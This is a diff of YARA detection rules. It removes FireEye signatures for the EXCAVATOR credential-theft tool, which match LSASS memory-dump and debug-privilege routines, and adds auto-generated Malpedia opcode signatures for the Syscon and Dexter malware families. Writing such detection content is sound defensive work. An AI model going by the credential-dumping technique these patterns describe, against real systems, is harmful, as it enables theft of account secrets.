+		$sequence_12 = { 56 ff15???????? 50 56 6a00 ff15???????? }
+		$sequence_13 = { 33c0 e9???????? e8???????? b904010000 }
+		$sequence_14 = { 88443c18 88543418 0fb64c3c18 0fb6c2 03c8 81e1ff000000 }
+		$sequence_15 = { 81e5ff000000 8a442c18 88443c18 47 }
+		$sequence_16 = { e8???????? 8bf8 68???????? ff15???????? }
+		$sequence_17 = { ebf5 55 8bec 83ec24 8d45f4 53 }
+		$sequence_18 = { 50 57 ff15???????? 43 83fb0f }
+		$sequence_19 = { 8b7d10 50 57 56 53 e8???????? }
+		$sequence_20 = { 8d8de8fdffff 50 50 50 }
+		$sequence_21 = { 8d95f0fdffff c70200000000 6800800000 52 51 6aff }
+		$sequence_22 = { 8985ecfdffff ffb5f0fdffff 50 53 e8???????? 8d8decfdffff }
+		$sequence_23 = { e8???????? 2500300038 005800 2500300038 }
+		$sequence_24 = { 8db5f8fdffff c60653 56 6a00 6a00 6a00 }
+		$sequence_25 = { 8b4514 898608020000 56 6aff }
+		$sequence_26 = { 01d4 8d85f0fdffff 8b750c 8b7d10 50 57 }
+		$sequence_27 = { fc 5f 5e 5b }
+		$sequence_28 = { 89e5 81ec5c060000 53 56 }
+		$sequence_29 = { 30d0 aa e2f3 7505 }
+		$sequence_30 = { 89cf fc b280 31db a4 }
+		$sequence_31 = { 60 89c6 89cf fc }
+		$sequence_32 = { ff15???????? 85c0 747c 488b4c2448 4533c9 488d442440 }
+		$sequence_33 = { 488b4547 488907 4885c9 740f 8b450f 48894d17 83c802 }
+		$sequence_34 = { 33c9 e8???????? 488bd8 4584ff 7411 41b101 }
+		$sequence_35 = { 4f 8d1c10 41 8b4b18 45 }
+		$sequence_36 = { 01c4 ffc9 49 8d3c8c }
+		$sequence_37 = { 4c 01c7 8b048f 4c }
+		$sequence_38 = { 49 8d3c8c 8b37 4c 01c6 }
+		$sequence_39 = { 41b104 448bc7 488bcb e8???????? 488b742440 488bc3 488b5c2430 }
+		$sequence_40 = { 55 89e5 81ec54040000 53 }
+		$sequence_41 = { 33c9 4c897c2428 c744242000a00f00 ff15???????? }
+		$sequence_42 = { 8b4b18 45 8b6320 4d }
+		$sequence_43 = { 89d0 c1e205 01c2 31c0 ac 01c2 85c0 }
+		$sequence_44 = { 83c408 85c0 0f84cb000000 8b45f4 2d10bf3400 0fb74dec }
+		$sequence_45 = { 8946fc ad 85c0 75f3 c3 56 }
+		$sequence_46 = { 56 ad 01e8 31c9 c1c108 3208 }
+		$sequence_47 = { 8b4da0 8b55a4 895148 689d1e6b63 8b45e4 50 }
+		$sequence_48 = { 8b45b4 894220 eb10 8b8d78ffffff 8b11 899578ffffff ebae }
+		$sequence_49 = { 03471c 8b0428 01e8 5e c3 }
+		$sequence_50 = { 5b c9 c20800 55 89e5 83ec04 }
+		$sequence_51 = { e8???????? 8945ac 6a00 6a04 8d45b4 50 }
+		$sequence_52 = { aa e2f3 7506 7404 }
+		$sequence_53 = { 55 8bec 83c4d0 1e 53 }
+		$sequence_54 = { 684a0dce09 8b45e4 50 e8???????? 8945a8 8b4da0 8b55a8 }
+		$sequence_55 = { 83ec0c e8???????? 8945f8 8b45f8 8b4860 894df4 ff7518 }
+		$sequence_56 = { 803800 75f5 31d1 75ec }
+		$sequence_57 = { 8b450c 2d10bf3400 8b4d08 c1e103 }
+		$sequence_58 = { 8b55f8 0fb70a c1e103 33d2 f7f1 8945fc }
+		$sequence_59 = { 5e c3 60 89c6 }
+		$sequence_60 = { 9a18a15c5d5d5d d6 0055d0 08a50f375d37 }
+		$sequence_61 = { 48 35f94e5d5d d6 59 79de 99 }
+		$sequence_62 = { 5d 5d b658 1f 79b6 a888 }
+		$sequence_63 = { 0055d0 08a50f375d37 5d 37 }
+		$sequence_64 = { 5d 5d 285829 5e cb }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		7 of them and filesize <245760
 }
-rule FIREEYE_RT_APT_Hacktool_Win64_EXCAVATOR_2 : FILE
+rule MALPEDIA_Win_Syscon_Auto : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "4b7640e8-5621-5cc3-8ac9-84347f23f5eb"
-		date = "2020-12-02"
-		date = "2020-12-02"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/APT_HackTool_Win64_EXCAVATOR_2.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4fd62068e591cbd6f413e1c2b8f75442"
-		logic_hash = "14263c17323cd78df10f7f101bd7a9c74f7818b34a2e42125d45205067399381"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "10b2a70f-de71-5dcd-8008-91d876f6f351"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.syscon_auto.yar#L1-L166"
+		license_url = "N/A"
+		logic_hash = "f7cdfe4679f457a034e50dc400c88cdf6f80bb02175055d824368da084861b59"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$api1 = "PssCaptureSnapshot" fullword
-		$api2 = "MiniDumpWriteDump" fullword
-		$dump = { C7 [2-5] FD 03 00 AC 4C 8D 4D ?? 41 B8 1F 00 10 00 8B [2-5] 48 8B 4D ?? E8 [4] 89 [2-5] 83 [2-5] 00 74 ?? 48 8B 4D ?? FF 15 [4] 33 C0 E9 [4] 41 B8 10 00 00 00 33 D2 48 8D 8D [4] E8 [4] 48 8D 05 [4] 48 89 85 [4] 48 C7 85 [8] 48 C7 44 24 30 00 00 00 00 C7 44 24 28 80 00 00 00 C7 44 24 20 01 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4] 48 89 85 [4] 48 83 BD [4] FF 75 ?? 48 8B 4D ?? FF 15 [4] 33 C0 EB [0-17] 48 8D [5] 48 89 ?? 24 30 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 41 B9 02 00 00 00 4C 8B 85 [4] 8B [1-5] 48 8B 4D ?? E8 }
-		$enable_dbg_pri = { 4C 8D 45 ?? 48 8D 15 [4] 33 C9 FF 15 [4] 85 C0 0F 84 [4] C7 45 ?? 01 00 00 00 B8 0C 00 00 00 48 6B C0 00 48 8B 4D ?? 48 89 4C 05 ?? B8 0C 00 00 00 48 6B C0 00 C7 44 05 ?? 02 00 00 00 FF 15 [4] 4C 8D 45 ?? BA 20 00 00 00 48 8B C8 FF 15 [4] 85 C0 74 ?? 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 45 ?? 33 D2 48 8B 4D ?? FF 15 }
+		$sequence_0 = { 83e4f8 81ecdc0b0000 a1???????? 33c4 898424d80b0000 53 56 }
+		$sequence_1 = { 0f84af000000 53 57 8bc6 e8???????? 83c408 }
+		$sequence_2 = { 0f84d8000000 6a00 8d4dfc 51 53 }
+		$sequence_3 = { ffd7 8d4c2428 51 8d942414040000 68???????? }
+		$sequence_4 = { 88040f 47 897df8 8b45f4 03c6 }
+		$sequence_5 = { ffd6 68???????? ffd6 5f 5e b801000000 }
+		$sequence_6 = { ffd6 68???????? c745fc00000000 ffd6 }
+		$sequence_7 = { 8935???????? ffd7 8d5e01 85c0 7539 a1???????? }
+		$sequence_8 = { ff15???????? 488905???????? 4885c0 0f84fbf8ffff }
+		$sequence_9 = { 4885c0 7486 488364242000 4c8d8d90030000 448bc3 488bd0 488bcf }
+		$sequence_10 = { 80bd3006000020 418bce 7511 488d8530060000 }
+		$sequence_11 = { 33d2 e8???????? 488d0da4320000 ff15???????? 488d9520040000 488d0d90320000 448bc0 }
+		$sequence_12 = { 488d8d10020000 ff15???????? 488d4d90 448bc3 }
+		$sequence_13 = { 488d5590 488d0daa300000 448bc0 e8???????? }
+		$sequence_14 = { 488d542450 488d0dad290000 448bc0 e8???????? 488b0d???????? }
+		$sequence_15 = { 488d4c2420 4c8bc6 33d2 e8???????? 488d0dc5450000 }
 
 	condition:
-		(( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B)) and all of them
+		7 of them and filesize <120832
 }
-rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_2 : FILE
+rule MALPEDIA_Win_Dexter_Auto : FILE
 {
 	meta:
-		description = "This rule looks for the binary signature of the routine that calls PssFreeSnapshot found in the Excavator-Reflector DLL."
-		author = "FireEye"
-		id = "89037b9a-78b0-5a8c-bb60-3d54842d81e1"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_2.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "6a9a114928554c26675884eeb40cc01b"
-		logic_hash = "408e8862f0c470105648fdba00dc5531ffcd739fa544f89acb70f0fa1b105c03"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5ebe4c09-da98-582c-8eed-df32a16fd066"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dexter_auto.yar#L1-L115"
+		license_url = "N/A"
+		logic_hash = "88383a20a07c3308fad4494ea352148cf37f604e3e0c05d6e635ee453d38e768"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 3
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$bytes1 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A0 01 00 00 48 8B 05 4C 4A 01 00 48 33 C4 48 89 85 90 00 00 00 BA 50 00 00 00 C7 05 CB 65 01 00 43 00 3A 00 66 89 15 EC 65 01 00 4C 8D 44 24 68 48 8D 15 D8 68 01 00 C7 05 B2 65 01 00 5C 00 57 00 33 C9 C7 05 AA 65 01 00 69 00 6E 00 C7 05 A4 65 01 00 64 00 6F 00 C7 05 9E 65 01 00 77 00 73 00 C7 05 98 65 01 00 5C 00 4D 00 C7 05 92 65 01 00 45 00 4D 00 C7 05 8C 65 01 00 4F 00 52 00 C7 05 86 65 01 00 59 00 2E 00 C7 05 80 65 01 00 44 00 4D 00 C7 05 72 68 01 00 53 00 65 00 C7 05 6C 68 01 00 44 00 65 00 C7 05 66 68 01 00 42 00 75 00 C7 05 60 68 01 00 47 00 50 00 C7 05 5A 68 01 00 72 00 69 00 C7 05 54 68 01 00 56 00 69 00 C7 05 4E 68 01 00 4C 00 45 00 C7 05 48 68 01 00 67 00 65 00 C7 05 12 67 01 00 6C 73 61 73 C7 05 0C 67 01 00 73 2E 65 78 C6 05 09 67 01 00 65 FF 15 63 B9 00 00 45 33 F6 85 C0 74 66 48 8B 44 24 68 48 89 44 24 74 C7 44 24 70 01 00 00 00 C7 44 24 7C 02 00 00 00 FF 15 A4 B9 00 00 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF 15 1A B9 00 00 85 C0 74 30 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF 15 EF B8 00 00 FF 15 11 B9 00 00 48 8B 4C 24 48 FF 15 16 B9 00 00 48 89 9C 24 B0 01 00 00 48 8D 0D BF 2E 01 00 48 89 B4 24 B8 01 00 00 4C 89 74 24 40 FF 15 1C B9 00 00 48 85 C0 0F 84 B0 00 00 00 48 8D 15 AC 2E 01 00 48 8B C8 FF 15 1B B9 00 00 48 8B D8 48 85 C0 0F 84 94 00 00 00 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 06 15 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 63 66 0F 1F 44 00 00 48 8B 4C 24 40 4C 8D 45 80 41 B9 04 01 00 00 33 D2 FF 15 89 B8 00 00 48 8D 15 F2 65 01 00 48 8D 4D 80 E8 49 0F 00 00 48 85 C0 75 38 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 A3 14 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 A3 33 C0 E9 F5 00 00 00 48 8B 5C 24 40 48 8B CB FF 15 5E B8 00 00 8B F0 48 85 DB 74 E4 85 C0 74 E0 4C 8D 4C 24 50 48 89 BC 24 C0 01 00 00 BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 12 B8 00 00 85 C0 0F 85 A0 00 00 00 48 8D 05 43 FD FF FF 4C 89 74 24 30 C7 44 24 28 80 00 00 00 48 8D 0D 3F 63 01 00 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 4C 89 74 24 60 FF 15 E4 B7 00 00 48 8B F8 48 83 F8 FF 74 59 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 00 00 00 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF 15 B1 B9 00 00 48 8B CB FF 15 78 B7 00 00 48 8B CF FF 15 6F B7 00 00 FF 15 B1 B7 00 00 48 8B 54 24 50 48 8B C8 FF 15 53 B7 00 00 33 C9 FF 15 63 B7 00 00 CC 48 8B CB FF 15 49 B7 00 00 48 8B BC 24 C0 01 00 00 33 C0 48 8B B4 24 B8 01 00 00 48 8B 9C 24 B0 01 00 00 48 8B 8D 90 00 00 00 48 33 CC E8 28 00 00 00 4C 8B B4 24 C8 01 00 00 48 81 C4 A0 01 00 00 5D C3 }
-		$bytes2 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
-		$bytes3 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
-		$bytes4 = { 4C 89 74 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC A0 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? BA 50 00 00 00 C7 05 ?? ?? ?? ?? 43 00 3A 00 66 89 15 ?? ?? 01 00 4C 8D 44 24 ?? 48 8D 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 5C 00 57 00 33 C9 C7 05 ?? ?? ?? ?? 69 00 6E 00 C7 05 ?? ?? ?? ?? 64 00 6F 00 C7 05 ?? ?? ?? ?? 77 00 73 00 C7 05 ?? ?? ?? ?? 5C 00 4D 00 C7 05 ?? ?? ?? ?? 45 00 4D 00 C7 05 ?? ?? ?? ?? 4F 00 52 00 C7 05 ?? ?? ?? ?? 59 00 2E 00 C7 05 ?? ?? ?? ?? 44 00 4D 00 C7 05 ?? ?? ?? ?? 53 00 65 00 C7 05 ?? ?? ?? ?? 44 00 65 00 C7 05 ?? ?? ?? ?? 42 00 75 00 C7 05 ?? ?? ?? ?? 47 00 50 00 C7 05 ?? ?? ?? ?? 72 00 69 00 C7 05 ?? ?? ?? ?? 56 00 69 00 C7 05 ?? ?? ?? ?? 4C 00 45 00 C7 05 ?? ?? ?? ?? 67 00 65 00 C7 05 ?? ?? ?? ?? 6C 73 61 73 C7 05 ?? ?? ?? ?? 73 2E 65 78 C6 05 ?? ?? ?? ?? 65 FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? 01 00 00 00 C7 44 24 ?? 02 00 00 00 FF 15 ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 ?? 41 8D 56 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 44 24 ?? 4C 89 74 24 ?? 45 33 C9 33 D2 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 0F 1F 44 00 ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 41 B9 04 01 00 00 33 D2 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 ?? 48 89 BC 24 ?? ?? ?? ?? BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 4C 89 74 24 ?? C7 44 24 ?? 80 00 00 00 48 8D 0D ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 01 00 00 00 BA 00 00 00 10 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 ?? 41 B9 02 00 00 00 4C 89 74 24 ?? 4C 8B C7 8B D6 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B C8 FF 15 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? CC 48 8B CB FF 15 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 33 C0 48 8B B4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 48 81 C4 